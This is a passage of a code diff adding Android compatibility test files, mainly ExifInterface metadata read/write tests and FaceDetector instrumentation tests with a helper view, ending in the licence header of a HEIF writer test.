+            exifInterface.saveAttributes();
+            // Check if thumbnail offset and length are properly updated without parsing the data
+            // again.
+            if (expectedValue.hasThumbnail) {
+                testThumbnail(expectedValue, exifInterface);
+            }
+            Os.lseek(fd, 0, OsConstants.SEEK_SET);
+            exifInterface = new ExifInterface(fd);
+            assertEquals("abc", exifInterface.getAttribute(ExifInterface.TAG_MAKE));
+            // Check if thumbnail bytes can be retrieved from the new thumbnail range.
+            if (expectedValue.hasThumbnail) {
+                testThumbnail(expectedValue, exifInterface);
+            }
+
+            // Restore the backup value.
+            exifInterface.setAttribute(ExifInterface.TAG_MAKE, backupValue);
+            exifInterface.saveAttributes();
+            Os.lseek(fd, 0, OsConstants.SEEK_SET);
+            exifInterface = new ExifInterface(fd);
+            compareWithExpectedValue(exifInterface, expectedValue, verboseTag, false);
+        } catch (ErrnoException e) {
+            throw e.rethrowAsIOException();
+        } finally {
+            IoUtils.closeQuietly(fd);
+        }
+        imageFile.delete();
+    }
+
+    private void readFromFilesWithExif(String fileName, int typedArrayResourceId)
+            throws IOException {
+        ExpectedValue expectedValue = new ExpectedValue(
+                getContext().getResources().obtainTypedArray(typedArrayResourceId));
+
+        testExifInterfaceCommon(fileName, expectedValue);
+
+        // Test for checking expected range by retrieving raw data with given offset and length.
+        testExifInterfaceRange(fileName, expectedValue);
+    }
+
+    private void writeToFilesWithoutExif(String fileName) throws IOException {
+        // Test for reading from external data storage.
+        Preconditions.assertTestFileExists(mInpPrefix + fileName);
+        File imageFile = clone(new File(mInpPrefix, fileName));
+
+        ExifInterface exifInterface = new ExifInterface(imageFile.getAbsolutePath());
+        exifInterface.setAttribute(ExifInterface.TAG_MAKE, "abc");
+        exifInterface.saveAttributes();
+
+        exifInterface = new ExifInterface(imageFile.getAbsolutePath());
+        String make = exifInterface.getAttribute(ExifInterface.TAG_MAKE);
+        assertEquals("abc", make);
+        imageFile.delete();
+    }
+
+    private void testThumbnail(ExpectedValue expectedValue, ExifInterface exifInterface) {
+        byte[] thumbnailBytes = exifInterface.getThumbnailBytes();
+        assertNotNull(thumbnailBytes);
+
+        // Note: NEF file (nikon_1aw1.nef) contains uncompressed thumbnail.
+        Bitmap thumbnailBitmap = exifInterface.getThumbnailBitmap();
+        assertNotNull(thumbnailBitmap);
+        assertEquals(expectedValue.thumbnailWidth, thumbnailBitmap.getWidth());
+        assertEquals(expectedValue.thumbnailHeight, thumbnailBitmap.getHeight());
+        assertEquals(expectedValue.isThumbnailCompressed, exifInterface.isThumbnailCompressed());
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
+                .detectUnbufferedIo()
+                .penaltyDeath()
+                .build());
+    }
+
+    public void testReadExifDataFromExifByteOrderIIJpeg() throws Throwable {
+        readFromFilesWithExif(JPEG_WITH_EXIF_BYTE_ORDER_II, R.array.jpeg_with_exif_byte_order_ii);
+        writeToFilesWithExif(JPEG_WITH_EXIF_BYTE_ORDER_II, R.array.jpeg_with_exif_byte_order_ii);
+    }
+
+    public void testReadExifDataFromExifByteOrderMMJpeg() throws Throwable {
+        readFromFilesWithExif(JPEG_WITH_EXIF_BYTE_ORDER_MM, R.array.jpeg_with_exif_byte_order_mm);
+        writeToFilesWithExif(JPEG_WITH_EXIF_BYTE_ORDER_MM, R.array.jpeg_with_exif_byte_order_mm);
+    }
+
+    public void testReadExifDataFromLgG4Iso800Dng() throws Throwable {
+        readFromFilesWithExif(DNG_WITH_EXIF_WITH_XMP, R.array.dng_with_exif_with_xmp);
+        writeToFilesWithExif(DNG_WITH_EXIF_WITH_XMP, R.array.dng_with_exif_with_xmp);
+    }
+
+    public void testReadExifDataFromLgG4Iso800Jpg() throws Throwable {
+        readFromFilesWithExif(JPEG_WITH_EXIF_WITH_XMP, R.array.jpeg_with_exif_with_xmp);
+        writeToFilesWithExif(JPEG_WITH_EXIF_WITH_XMP, R.array.jpeg_with_exif_with_xmp);
+    }
+
+    public void testDoNotFailOnCorruptedImage() throws Throwable {
+        // To keep the compatibility with old versions of ExifInterface, even on a corrupted image,
+        // it shouldn't raise any exceptions except an IOException when unable to open a file.
+        byte[] bytes = new byte[1024];
+        try {
+            new ExifInterface(new ByteArrayInputStream(bytes));
+            // Always success
+        } catch (IOException e) {
+            fail("Should not reach here!");
+        }
+    }
+
+    public void testReadExifDataFromVolantisJpg() throws Throwable {
+        // Test if it is possible to parse the volantis generated JPEG smoothly.
+        readFromFilesWithExif(JPEG_VOLANTIS, R.array.volantis_jpg);
+        writeToFilesWithExif(JPEG_VOLANTIS, R.array.volantis_jpg);
+    }
+
+    public void testReadExifDataFromSonyRX100Arw() throws Throwable {
+        readFromFilesWithExif(ARW_SONY_RX_100, R.array.sony_rx_100_arw);
+    }
+
+    public void testReadExifDataFromCanonG7XCr2() throws Throwable {
+        readFromFilesWithExif(CR2_CANON_G7X, R.array.canon_g7x_cr2);
+    }
+
+    public void testReadExifDataFromFujiX20Raf() throws Throwable {
+        readFromFilesWithExif(RAF_FUJI_X20, R.array.fuji_x20_raf);
+    }
+
+    public void testReadExifDataFromNikon1AW1Nef() throws Throwable {
+        readFromFilesWithExif(NEF_NIKON_1AW1, R.array.nikon_1aw1_nef);
+    }
+
+    public void testReadExifDataFromNikonP330Nrw() throws Throwable {
+        readFromFilesWithExif(NRW_NIKON_P330, R.array.nikon_p330_nrw);
+    }
+
+    public void testReadExifDataFromOlympusEPL3Orf() throws Throwable {
+        readFromFilesWithExif(ORF_OLYMPUS_E_PL3, R.array.olympus_e_pl3_orf);
+    }
+
+    public void testReadExifDataFromPanasonicGM5Rw2() throws Throwable {
+        readFromFilesWithExif(RW2_PANASONIC_GM5, R.array.panasonic_gm5_rw2);
+    }
+
+    public void testReadExifDataFromPentaxK5Pef() throws Throwable {
+        readFromFilesWithExif(PEF_PENTAX_K5, R.array.pentax_k5_pef);
+    }
+
+    public void testReadExifDataFromSamsungNX3000Srw() throws Throwable {
+        readFromFilesWithExif(SRW_SAMSUNG_NX3000, R.array.samsung_nx3000_srw);
+    }
+
+    public void testPngFiles() throws Throwable {
+        readFromFilesWithExif(PNG_WITH_EXIF_BYTE_ORDER_II, R.array.png_with_exif_byte_order_ii);
+        writeToFilesWithoutExif(PNG_WITHOUT_EXIF);
+    }
+
+    public void testStandaloneData() throws Throwable {
+        readFromStandaloneDataWithExif(JPEG_WITH_EXIF_BYTE_ORDER_II,
+                R.array.standalone_data_with_exif_byte_order_ii);
+        readFromStandaloneDataWithExif(JPEG_WITH_EXIF_BYTE_ORDER_MM,
+                R.array.standalone_data_with_exif_byte_order_mm);
+    }
+
+    public void testWebpFiles() throws Throwable {
+        readFromFilesWithExif(WEBP_WITH_EXIF, R.array.webp_with_exif);
+        writeToFilesWithExif(WEBP_WITH_EXIF, R.array.webp_with_exif);
+        writeToFilesWithoutExif(WEBP_WITHOUT_EXIF_WITH_ANIM_DATA);
+        writeToFilesWithoutExif(WEBP_WITHOUT_EXIF);
+        writeToFilesWithoutExif(WEBP_WITHOUT_EXIF_WITH_LOSSLESS_ENCODING);
+    }
+
+    public void testGetSetDateTime() throws Throwable {
+        final long expectedDatetimeValue = 1454059947000L;
+        final String dateTimeValue = "2017:02:02 22:22:22";
+        final String dateTimeOriginalValue = "2017:01:01 11:11:11";
+
+        Preconditions.assertTestFileExists(mInpPrefix + JPEG_WITH_DATETIME_TAG);
+        File srcFile = new File(mInpPrefix, JPEG_WITH_DATETIME_TAG);
+        File imageFile = clone(srcFile);
+
+        ExifInterface exif = new ExifInterface(imageFile.getAbsolutePath());
+        assertEquals(expectedDatetimeValue, exif.getDateTime());
+        assertEquals(expectedDatetimeValue, exif.getDateTimeOriginal());
+        assertEquals(expectedDatetimeValue, exif.getDateTimeDigitized());
+        assertEquals(expectedDatetimeValue, exif.getGpsDateTime());
+
+        exif.setAttribute(ExifInterface.TAG_DATETIME, dateTimeValue);
+        exif.setAttribute(ExifInterface.TAG_DATETIME_ORIGINAL, dateTimeOriginalValue);
+        exif.saveAttributes();
+
+        // Check that the DATETIME value is not overwritten by DATETIME_ORIGINAL's value.
+        exif = new ExifInterface(imageFile.getAbsolutePath());
+        assertEquals(dateTimeValue, exif.getAttribute(ExifInterface.TAG_DATETIME));
+        assertEquals(dateTimeOriginalValue, exif.getAttribute(ExifInterface.TAG_DATETIME_ORIGINAL));
+
+        // Now remove the DATETIME value.
+        exif.setAttribute(ExifInterface.TAG_DATETIME, null);
+        exif.saveAttributes();
+
+        // When the DATETIME has no value, then it should be set to DATETIME_ORIGINAL's value.
+        exif = new ExifInterface(imageFile.getAbsolutePath());
+        assertEquals(dateTimeOriginalValue, exif.getAttribute(ExifInterface.TAG_DATETIME));
+        imageFile.delete();
+    }
+
+    public void testIsSupportedMimeType() {
+        try {
+            ExifInterface.isSupportedMimeType(null);
+            fail();
+        } catch (NullPointerException e) {
+            // expected
+        }
+        assertTrue(ExifInterface.isSupportedMimeType("image/jpeg"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/x-adobe-dng"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/x-canon-cr2"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/x-nikon-nef"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/x-nikon-nrw"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/x-sony-arw"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/x-panasonic-rw2"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/x-olympus-orf"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/x-pentax-pef"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/x-samsung-srw"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/x-fuji-raf"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/heic"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/heif"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/png"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/webp"));
+        assertFalse(ExifInterface.isSupportedMimeType("image/gif"));
+    }
+
+    public void testSetAttribute() throws Throwable {
+        Preconditions.assertTestFileExists(mInpPrefix + JPEG_WITH_EXIF_BYTE_ORDER_MM);
+        File srcFile = new File(mInpPrefix, JPEG_WITH_EXIF_BYTE_ORDER_MM);
+        File imageFile = clone(srcFile);
+
+        ExifInterface exif = new ExifInterface(imageFile.getAbsolutePath());
+        try {
+            exif.setAttribute(null, null);
+            fail();
+        } catch (NullPointerException e) {
+            // expected
+        }
+
+        // Test setting tag to null
+        assertNotNull(exif.getAttribute(ExifInterface.TAG_GPS_TIMESTAMP));
+        exif.setAttribute(ExifInterface.TAG_GPS_TIMESTAMP, null);
+        assertNull(exif.getAttribute(ExifInterface.TAG_GPS_TIMESTAMP));
+
+        // Test tags that are converted to rational values for compatibility:
+        // 1. GpsTimeStamp tag will be converted to rational in setAttribute and converted back to
+        // timestamp format in getAttribute.
+        String validGpsTimeStamp = "11:11:11";
+        exif.setAttribute(ExifInterface.TAG_GPS_TIMESTAMP, validGpsTimeStamp);
+        assertEquals(validGpsTimeStamp, exif.getAttribute(ExifInterface.TAG_GPS_TIMESTAMP));
+        // Check that invalid format is not set
+        String invalidGpsTimeStamp = "11:11:11:11";
+        exif.setAttribute(ExifInterface.TAG_GPS_TIMESTAMP, invalidGpsTimeStamp);
+        assertEquals(validGpsTimeStamp, exif.getAttribute(ExifInterface.TAG_GPS_TIMESTAMP));
+
+        // 2. FNumber tag will be converted to rational in setAttribute and converted back to
+        // double value in getAttribute
+        String validFNumber = "2.4";
+        exif.setAttribute(ExifInterface.TAG_F_NUMBER, validFNumber);
+        assertEquals(validFNumber, exif.getAttribute(ExifInterface.TAG_F_NUMBER));
+        // Check that invalid format is not set
+        String invalidFNumber = "invalid format";
+        exif.setAttribute(ExifInterface.TAG_F_NUMBER, invalidFNumber);
+        assertEquals(validFNumber, exif.getAttribute(ExifInterface.TAG_F_NUMBER));
+
+        // Test writing different types of formats:
+        // 1. Byte format tag
+        String gpsVersionId = "2.3.0.0";
+        exif.setAttribute(ExifInterface.TAG_GPS_VERSION_ID, gpsVersionId);
+        byte[] setGpsVersionIdBytes =
+                exif.getAttribute(ExifInterface.TAG_GPS_VERSION_ID).getBytes();
+        for (int i = 0; i < setGpsVersionIdBytes.length; i++) {
+            assertEquals(gpsVersionId.getBytes()[i], setGpsVersionIdBytes[i]);
+        }
+        // Test TAG_GPS_ALTITUDE_REF, which is an exceptional case since the only valid values are
+        // "0" and "1".
+        String gpsAltitudeRef = "1";
+        exif.setAttribute(ExifInterface.TAG_GPS_ALTITUDE_REF, gpsAltitudeRef);
+        assertEquals(gpsAltitudeRef.getBytes()[0],
+                exif.getAttribute(ExifInterface.TAG_GPS_ALTITUDE_REF).getBytes()[0]);
+
+        // 2. String format tag
+        String makeValue = "MakeTest";
+        exif.setAttribute(ExifInterface.TAG_MAKE, makeValue);
+        assertEquals(makeValue, exif.getAttribute(ExifInterface.TAG_MAKE));
+        // Check that the following values are not parsed as rational values
+        String makeValueWithOneSlash = "Make/Test";
+        exif.setAttribute(ExifInterface.TAG_MAKE, makeValueWithOneSlash);
+        assertEquals(makeValueWithOneSlash, exif.getAttribute(ExifInterface.TAG_MAKE));
+        String makeValueWithTwoSlashes = "Make/Test/Test";
+        exif.setAttribute(ExifInterface.TAG_MAKE, makeValueWithTwoSlashes);
+        assertEquals(makeValueWithTwoSlashes, exif.getAttribute(ExifInterface.TAG_MAKE));
+        // When a value has a comma, it should be parsed as a string if any of the values before or
+        // after the comma is a string.
+        int defaultValue = -1;
+        String makeValueWithCommaType1 = "Make,2";
+        exif.setAttribute(ExifInterface.TAG_MAKE, makeValueWithCommaType1);
+        assertEquals(makeValueWithCommaType1, exif.getAttribute(ExifInterface.TAG_MAKE));
+        // Make sure that it's not stored as an integer value.
+        assertEquals(defaultValue, exif.getAttributeInt(ExifInterface.TAG_MAKE, defaultValue));
+        String makeValueWithCommaType2 = "2,Make";
+        exif.setAttribute(ExifInterface.TAG_MAKE, makeValueWithCommaType2);
+        assertEquals(makeValueWithCommaType2, exif.getAttribute(ExifInterface.TAG_MAKE));
+        // Make sure that it's not stored as an integer value.
+        assertEquals(defaultValue, exif.getAttributeInt(ExifInterface.TAG_MAKE, defaultValue));
+
+        // 3. Unsigned short format tag
+        String isoSpeedRatings = "800";
+        exif.setAttribute(ExifInterface.TAG_ISO_SPEED_RATINGS, isoSpeedRatings);
+        assertEquals(isoSpeedRatings, exif.getAttribute(ExifInterface.TAG_ISO_SPEED_RATINGS));
+        // When a value has multiple components, all of them should be of the format that the tag
+        // supports. Thus, the following values (SHORT,LONG) should not be set since TAG_COMPRESSION
+        // only allows short values.
+        assertNull(exif.getAttribute(ExifInterface.TAG_COMPRESSION));
+        String invalidMultipleComponentsValueType1 = "1,65536";
+        exif.setAttribute(ExifInterface.TAG_COMPRESSION, invalidMultipleComponentsValueType1);
+        assertNull(exif.getAttribute(ExifInterface.TAG_COMPRESSION));
+        String invalidMultipleComponentsValueType2 = "65536,1";
+        exif.setAttribute(ExifInterface.TAG_COMPRESSION, invalidMultipleComponentsValueType2);
+        assertNull(exif.getAttribute(ExifInterface.TAG_COMPRESSION));
+
+        // 4. Unsigned long format tag
+        String validImageWidthValue = "65536"; // max unsigned short value + 1
+        exif.setAttribute(ExifInterface.TAG_IMAGE_WIDTH, validImageWidthValue);
+        assertEquals(validImageWidthValue, exif.getAttribute(ExifInterface.TAG_IMAGE_WIDTH));
+        String invalidImageWidthValue = "-65536";
+        exif.setAttribute(ExifInterface.TAG_IMAGE_WIDTH, invalidImageWidthValue);
+        assertEquals(validImageWidthValue, exif.getAttribute(ExifInterface.TAG_IMAGE_WIDTH));
+
+        // 5. Unsigned rational format tag
+        String exposureTime = "1/8";
+        exif.setAttribute(ExifInterface.TAG_APERTURE_VALUE, exposureTime);
+        assertEquals(exposureTime, exif.getAttribute(ExifInterface.TAG_APERTURE_VALUE));
+
+        // 6. Signed rational format tag
+        String brightnessValue = "-220/100";
+        exif.setAttribute(ExifInterface.TAG_BRIGHTNESS_VALUE, brightnessValue);
+        assertEquals(brightnessValue, exif.getAttribute(ExifInterface.TAG_BRIGHTNESS_VALUE));
+
+        // 7. Undefined format tag
+        String userComment = "UserCommentTest";
+        exif.setAttribute(ExifInterface.TAG_USER_COMMENT, userComment);
+        assertEquals(userComment, exif.getAttribute(ExifInterface.TAG_USER_COMMENT));
+
+        imageFile.delete();
+    }
+
+    public void testGetAttributeForNullAndNonExistentTag() throws Throwable {
+        // JPEG_WITH_EXIF_BYTE_ORDER_MM does not have a value for TAG_SUBJECT_AREA tag.
+        Preconditions.assertTestFileExists(mInpPrefix + JPEG_WITH_EXIF_BYTE_ORDER_MM);
+        File srcFile = new File(mInpPrefix, JPEG_WITH_EXIF_BYTE_ORDER_MM);
+        File imageFile = clone(srcFile);
+
+        ExifInterface exif = new ExifInterface(imageFile.getAbsolutePath());
+        try {
+            exif.getAttribute(null);
+            fail();
+        } catch (NullPointerException e) {
+            // expected
+        }
+        assertNull(exif.getAttribute(TAG_SUBJECT_AREA));
+
+        int defaultValue = -1;
+        try {
+            exif.getAttributeInt(null, defaultValue);
+            fail();
+        } catch (NullPointerException e) {
+            // expected
+        }
+        assertEquals(defaultValue, exif.getAttributeInt(TAG_SUBJECT_AREA, defaultValue));
+
+        try {
+            exif.getAttributeDouble(null, defaultValue);
+            fail();
+        } catch (NullPointerException e) {
+            // expected
+        }
+        assertEquals(defaultValue, exif.getAttributeInt(TAG_SUBJECT_AREA, defaultValue));
+
+        try {
+            exif.getAttributeBytes(null);
+            fail();
+        } catch (NullPointerException e) {
+            // expected
+        }
+        assertNull(exif.getAttributeBytes(TAG_SUBJECT_AREA));
+    }
+
+    private static File clone(File original) throws IOException {
+        final File cloned =
+                File.createTempFile("cts_", +System.nanoTime() + "_" + original.getName());
+        FileUtils.copyFileOrThrow(original, cloned);
+        return cloned;
+    }
+
+    private short readShort(InputStream is) throws IOException {
+        int ch1 = is.read();
+        int ch2 = is.read();
+        if ((ch1 | ch2) < 0) {
+            throw new EOFException();
+        }
+        return (short) ((ch1 << 8) + (ch2));
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/FaceDetectorStub.java b/tests/tests/media/misc/src/android/media/misc/cts/FaceDetectorStub.java
new file mode 100644
index 0000000..ef33f01
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/FaceDetectorStub.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import android.app.Activity;
+import android.media.FaceDetector.Face;
+
+import android.os.Bundle;
+
+import java.util.List;
+
+public class FaceDetectorStub extends Activity {
+
+    public static final String IMAGE_ID = "imageId";
+
+    private FaceView mFaceView;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        int imageId = getIntent().getIntExtra(IMAGE_ID, R.drawable.single_face);
+        mFaceView = new FaceView(this, imageId);
+        setContentView(mFaceView);
+    }
+
+    public List<Face> getDetectedFaces() {
+        return mFaceView.detectedFaces;
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/FaceDetectorTest.java b/tests/tests/media/misc/src/android/media/misc/cts/FaceDetectorTest.java
new file mode 100644
index 0000000..f5f24d0
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/FaceDetectorTest.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import android.content.Intent;
+import android.graphics.Bitmap;
+import android.media.FaceDetector;
+import android.media.FaceDetector.Face;
+import android.media.cts.NonMediaMainlineTest;
+import android.test.InstrumentationTestCase;
+
+@NonMediaMainlineTest
+public class FaceDetectorTest extends InstrumentationTestCase {
+
+    private FaceDetectorStub mActivity;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        Intent intent = new Intent();
+        intent.setClass(getInstrumentation().getTargetContext(), FaceDetectorStub.class);
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.putExtra(FaceDetectorStub.IMAGE_ID, R.drawable.faces);
+        mActivity = (FaceDetectorStub) getInstrumentation().startActivitySync(intent);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        mActivity.finish();
+    }
+
+    public void testFindFaces() throws Exception {
+        long waitMsec = 5000;
+        Thread.sleep(waitMsec);
+        assertTrue(mActivity.getDetectedFaces().size() == 5);
+    }
+
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/FaceDetector_FaceTest.java b/tests/tests/media/misc/src/android/media/misc/cts/FaceDetector_FaceTest.java
new file mode 100644
index 0000000..e32860c
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/FaceDetector_FaceTest.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import android.content.Intent;
+import android.graphics.PointF;
+import android.media.FaceDetector;
+import android.media.FaceDetector.Face;
+import android.media.cts.NonMediaMainlineTest;
+import android.test.InstrumentationTestCase;
+
+import java.util.List;
+
+@NonMediaMainlineTest
+public class FaceDetector_FaceTest extends InstrumentationTestCase {
+    private FaceDetectorStub mActivity;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        Intent intent = new Intent();
+        intent.setClass(getInstrumentation().getTargetContext(), FaceDetectorStub.class);
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.putExtra(FaceDetectorStub.IMAGE_ID, R.drawable.single_face);
+        mActivity = (FaceDetectorStub) getInstrumentation().startActivitySync(intent);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        mActivity.finish();
+    }
+
+    public void testFaceProperties() throws Exception {
+        long waitMsec = 5000;
+        Thread.sleep(waitMsec);
+        List<Face> detectedFaces = mActivity.getDetectedFaces();
+        assertEquals(1, detectedFaces.size());
+        Face face = detectedFaces.get(0);
+        PointF eyesMP = new PointF();
+        face.getMidPoint(eyesMP);
+        float tolerance = 5f;
+        float goodConfidence = 0.3f;
+        assertTrue(face.confidence() >= goodConfidence);
+        float eyesDistance = 20.0f;
+        assertEquals(eyesDistance, face.eyesDistance(), tolerance);
+        float eyesMidpointX = 60.0f;
+        float eyesMidpointY = 60.0f;
+        assertEquals(eyesMidpointX, eyesMP.x, tolerance);
+        assertEquals(eyesMidpointY, eyesMP.y, tolerance);
+        face.pose(FaceDetector.Face.EULER_X);
+        face.pose(FaceDetector.Face.EULER_Y);
+        face.pose(FaceDetector.Face.EULER_Z);
+
+        int ErrorEuler = 100;
+        try {
+            face.pose(ErrorEuler);
+            fail("Should throw IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+}
+
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/FaceView.java b/tests/tests/media/misc/src/android/media/misc/cts/FaceView.java
new file mode 100644
index 0000000..d928f69a
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/FaceView.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import android.content.Context;
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.Paint;
+import android.graphics.PointF;
+import android.graphics.Rect;
+import android.media.FaceDetector;
+import android.media.FaceDetector.Face;
+import android.view.View;
+
+import java.util.ArrayList;
+
+public class FaceView extends View {
+    private static final int NUM_FACES = 10;
+    private FaceDetector mFaceDetector;
+    private Face[] mAllFaces = new Face[NUM_FACES];
+    private Bitmap mSourceImage;
+    private Paint mTmpPaint = new Paint(Paint.ANTI_ALIAS_FLAG);
+    private Paint mPOuterBullsEye = new Paint(Paint.ANTI_ALIAS_FLAG);
+    private Paint mPInnerBullsEye = new Paint(Paint.ANTI_ALIAS_FLAG);
+    private int mPicWidth;
+    private int mPicHeight;
+
+    public ArrayList<Face> detectedFaces = new ArrayList<Face>();
+
+    public FaceView(Context context, int resId) {
+        super(context);
+
+        mPInnerBullsEye.setStyle(Paint.Style.FILL);
+        mPInnerBullsEye.setColor(Color.RED);
+
+        mPOuterBullsEye.setStyle(Paint.Style.STROKE);
+        mPOuterBullsEye.setColor(Color.RED);
+
+        mTmpPaint.setStyle(Paint.Style.STROKE);
+        mTmpPaint.setTextAlign(Paint.Align.CENTER);
+
+        BitmapFactory.Options bfo = new BitmapFactory.Options();
+        bfo.inPreferredConfig = Bitmap.Config.RGB_565;
+        bfo.inScaled = false;
+        bfo.inDither = false;
+
+        mSourceImage = BitmapFactory.decodeResource(getResources(), resId, bfo);
+
+        mPicWidth = mSourceImage.getWidth();
+        mPicHeight = mSourceImage.getHeight();
+
+        mFaceDetector = new FaceDetector(mPicWidth, mPicHeight, NUM_FACES);
+        int numFaces = mFaceDetector.findFaces(mSourceImage, mAllFaces);
+
+        for (int i = 0; i < numFaces; i++) {
+            detectedFaces.add(mAllFaces[i]);
+        }
+    }
+
+    @Override
+    protected void onDraw(Canvas canvas) {
+        float scale = Math.min((float) getWidth() / mPicWidth, (float) getHeight() / mPicHeight);
+        Rect scaledRect = new Rect(0, 0, mPicWidth, mPicHeight);
+        scaledRect.scale(scale);
+        canvas.drawBitmap(mSourceImage, null, scaledRect, mTmpPaint);
+        for (Face face : detectedFaces) {
+            PointF eyesMP = new PointF();
+            face.getMidPoint(eyesMP);
+            float centerX = eyesMP.x * scale;
+            float centerY = eyesMP.y * scale;
+            float eyesDistance = face.eyesDistance() * scale;
+            mPOuterBullsEye.setStrokeWidth(eyesDistance / 6);
+            canvas.drawCircle(centerX, centerY, eyesDistance / 2, mPOuterBullsEye);
+            canvas.drawCircle(centerX, centerY, eyesDistance / 6, mPInnerBullsEye);
+        }
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/HandlerExecutor.java b/tests/tests/media/misc/src/android/media/misc/cts/HandlerExecutor.java
new file mode 100644
index 0000000..9b6cf44
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/HandlerExecutor.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import android.annotation.NonNull;
+import android.os.Handler;
+import android.os.Looper;
+
+import java.util.concurrent.Executor;
+import java.util.concurrent.RejectedExecutionException;
+
+public class HandlerExecutor extends Handler implements Executor {
+    public HandlerExecutor(@NonNull Looper looper) {
+        super(looper);
+    }
+
+    @Override
+    public void execute(Runnable command) {
+        if (!post(command)) {
+            throw new RejectedExecutionException(this + " is shutting down");
+        }
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/HeifWriterTest.java b/tests/tests/media/misc/src/android/media/misc/cts/HeifWriterTest.java
new file mode 100644
index 0000000..e855a76
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/HeifWriterTest.java
@@ -0,0 +1,713 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
